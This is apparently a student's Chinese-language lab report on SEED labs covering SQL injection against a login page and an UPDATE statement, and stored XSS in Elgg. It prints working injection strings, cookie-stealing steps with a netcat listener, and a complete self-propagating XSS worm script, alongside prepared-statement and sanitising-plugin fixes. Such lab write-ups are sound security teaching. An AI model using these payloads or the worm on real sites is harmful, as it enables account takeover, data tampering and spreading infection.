20211919 2021-2022-2 《网络攻防实践》第十次作业

1、实践内容

一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

  • 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
  • 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
  • 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
  • SQL对抗:修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

  • 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
  • 弹窗显示cookie信息:将cookie信息显示。
  • 窃取受害者的cookies:将cookie发送给攻击者。
  • 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
  • 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
  • 编写XSS蠕虫。
  • 对抗XSS攻击。

1.1 SQL
SQL (Structured Query Language) 是具有数据操纵和数据定义等多种功能的数据库语言,这种语言具有交互性特点,能为用户提供极大的便利,数据库管理系统应充分利用SQL语言提高计算机应用系统的工作质量与效率。SQL语言不仅能独立应用于终端,还可以作为子语言为其他程序设计提供有效助力,该程序应用中,SQL可与其他程序语言一起优化程序功能,进而为用户提供更多更全面的信息。
1.2 SQL注入
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
1.3 XSS
跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。攻击者通过在链接中插入恶意代码,就能够盗取用户信息。攻击者通常会用十六进制(或其他编码方式)将链接编码,以免用户怀疑它的合法性。网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面,而这个页面看起来就像是那个网站应当生成的合法页面一样。许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子,那么用户乙在浏览这篇帖子时,恶意脚本就会执行,盗取用户乙的session信息。

2.实践过程

2.1 实践一
2.1.1 熟悉SQL语句
首先输入mysql -u root -pseedubuntu登录MySQL数据库。
然后输入use Users;(注:注意“;”),进入系统建立好的Users数据库中。
接着输入show tables;查看该数据库下所有的表,发现有一个名为“credential”的表。如下图:


接下来输入select * from credential;查看credential表的详细信息,如下:

2.1.2 对SELECT语句的SQL注入攻击
首先在浏览器中输入www.SEEDLabSQLInjection.com进入已经搭建好的Web页面。可以看到是这样的一个登录界面:

在该页面输入win+f12,然后随便输入一个用户名和密码,可以看到将用户名和密码信息提交给unsafe_home.php;

然后在Text Editor中输入/var/www/SQLInjection/unsafe_home.php打开unsafe_home.php查看其源码:

其中关键代码如下:



在以上的关键代码中存在一个Admin用户,我们将其改为:Admin'#,密码设置为任意值,这个查询语句就会变为:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin' #''and Password='$hashed_pwd'
然后重新回答浏览器,用户名输入“Admin' #”,密码随意输入,出现:

登陆成功。
2.1.3 对 UPDATE语句的SQL注入攻击
使用2.1.2的漏洞可以成功用”Alice' #“进行登录,并看到相关信息。

然后点击上方的Edit Profile进入更新页面:


在Text Editor中输入 /var/www/SQLInjection/unsafe_edit_backend.php后,查看到对应UPDATE:
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";
可以看到,要想对工资进行修改,需要将其中NickName部分变为:', salary='22222' where Name='Ted';#,然后查看发现Ted的工资变成了22222:


修改成功。若要修改其他也类似,此处不再赘述。
2.1.4 SQL对抗
首先在Text Editor中输入/var/www/SQLInjection/unsafe_home.php打开unsafe_home.php查看其源码:

将其sql语句修改为:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

然后在/var/www/SQLInjection/unsafe_edit_backend.php`中将原来的sql语句修改为:

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

2.2 实践二
2.2.1 发布恶意消息,显示警报窗口
在浏览器中访问:http://www.xsslabelgg.com
输入用户名:alice,密码:seedalice,然后进入个人信息页面:

然后点击alice的头像进入Edit profile编辑,然后在页面中的Brief description项输入:<script>alert('xss');</script>后进行保存,弹出提示框:

2.2.2 弹窗显示cookie信息
类似的输入<script>alert(document.cookie);</script>就可以查看cookie信息:

2.2.3 窃取受害者的cookies
在Brief description中输入:

其中ip地址是ubuntu的ip,5555是端口号。然后在终端中输入nc -l 5555 -v对5555端口进行监测。-l指定端口,-v显示详细信息。

2.2.4 成为受害者的朋友
假设要与http://www.xsslabelgg.com/profile/boby的Boby加好友。
首先ctrl+shift+E打开浏览器开发者模式,进入Network页面,然后点击左侧的Add friend,添加 Boby 为好友。

可以看到此时的POST请求具体内容:

可以看到这里的地址为:

于是在about me中填入构造的相应的脚本:

然后保存后退出。然后查看发现已经添加Boby
为好友。

2.2.5 修改受害者的信息
首先ctrl+shift+E打开浏览器开发者模式,进入Network页面,点击save可以看到具体的信息。

然后构造出相应的脚本填入about me中,保存。(此处一定要注意是在什么格式下,不然实验无法进行)

然后登陆Boby(密码:seedboby),访问Alice主页然后回到Boby主页,发现个人信息已改变。

2.2.6 编写XSS蠕虫
此处继续借鉴大佬们的代码:

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>THis have been cracked by alice."+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

将上述代码放入到Alice的about me中,还是edit HTML下的。

然后登录Bob,访问Alice,发现成功感染。

然后使用Samy访问Bob,发现也成功被感染。


至此,XXS蠕虫感染试验成功。

2.2.7 对抗XSS攻击
参考大佬们的博客,了解到:Elgg本身是提供对抗XSS攻击的插件的,故可以利用管理员账户进行登录(用户名:admin密码:seedelgg),找到Account->administration->plugins,并且找到插件HTMLawed ,该插件的主要作用:对用户的输入输出进行校验并且去除特定标签。

再次访问alice,发现about me 直接显示出来,没有弹窗了。对抗XSS攻击成功。

3.学习中遇到的问题及解决

在实践2的修改受害者信息时,使用大佬的代码出不来,最后发现是about me 中的格式问题。改成edit HTML后成功。

4.实践总结

通过本次实践,学习了SQL注入以及XXS攻击的相关知识,基本了解了这两种攻击的原理,知道了如何对SQL注入漏洞进行防护。在今后的学习生活中,都让我提高了对web漏洞的警惕意识。

posted @ 2022-05-19 18:26  NingNa  阅读(125)  评论(0编辑  收藏  举报